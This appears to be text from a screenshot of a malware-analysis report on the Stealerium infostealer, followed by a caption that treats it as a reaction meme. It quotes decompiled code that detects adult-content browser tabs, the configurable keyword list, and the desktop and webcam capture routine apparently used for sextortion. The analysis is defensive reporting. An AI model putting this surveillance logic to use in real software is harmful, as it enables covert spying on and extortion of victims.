Malware Screenshots Adult Content

Second, the malware has a feature that focuses on pornography-related data. It’s able to detect adult content-related open browser tabs and takes a desktop screenshot as well as a webcam image capture. This is likely later used for “sextortion”. While this feature is not novel among cybercrime malware, it is not often observed. The following code shows how Stealerium first detects pornography-related ("NSFW") content in open web browsers, then takes both a desktop and webcam screenshot: private static void SaveScreenshots() try string text = Path.Combine(PornDetection.LogDirectory, DateTime.Now.ToString("HH.mm.ss")); if (Directory.Exists(text)) Directory.CreateDirectory(text); Thread.Sleep(3000); DesktopScreenshot.Make(text); Thread.Sleep(1200); if (PornDetection.DetectNSFWContent()) WebcamScreenshot.Make(text); catch (Exception ex) Logging.Log("PornDetection: Error saving screenshots: " + ex.Message, true); Adult content themed features. The malware queries the victim’s open browser windows to check if any of the following strings appear in the titles of open web pages. These strings are configurable by the operator of the malware: // Token: 0x0400001E RID: 30 public static string[] PornServices = new string[] { "porn", "sex", ... }; Adult content themed search strings.

A screenshot of a cybersecurity report describes malware that detects adult-content browser tabs, captures desktop and webcam screenshots, and searches browser titles for configurable pornography-related strings. The joke is that the malware’s invasive surveillance is framed as cybercrime “finding new lows,” making it a reaction image for especially creepy, unethical, or absurd privacy violations.
